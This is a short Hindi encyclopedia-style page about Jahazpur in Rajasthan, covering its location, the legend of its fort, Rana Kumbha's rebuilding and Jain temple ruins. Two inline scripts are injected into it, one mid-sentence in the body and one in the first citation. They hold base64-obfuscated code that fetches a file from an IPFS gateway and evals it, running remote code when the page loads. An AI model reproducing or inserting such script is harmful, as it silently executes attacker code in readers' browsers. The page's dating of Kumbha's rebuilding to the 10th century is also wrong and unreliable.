जहाजपुर
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जहाजपुर राजस्थान का ऐतिहासिक स्थान है, जो उदयपुर से 96 मील (लगभग 153.6 कि.मी.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> की दूरी पर उत्तर-पूर्व में स्थित है।[1]
- किंवदंती के अनुसार जहाजपुर के दुर्ग का निर्माण मूलत: मौर्य सम्राट अशोक के पौत्र सम्प्रति ने किया था। यह दुर्ग बूंदी और मेवाड़ के बीच की पहाड़ियों के एक गिरिद्वार की रक्षा करता था।
- 10वीं शती में राणा कुंभा ने इस क़िले का पुन:निर्माण करवाया था।
- संप्रति जैन धर्म का अनुयायी था। जहाजपुर में अनेक प्राचीन जैन मंदिरों के खंडहर भी मिले हैं।[2]
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टीका टिप्पणी और संदर्भ
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 361 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ राजपूताना गजेटियर 1880, पृ. 52.
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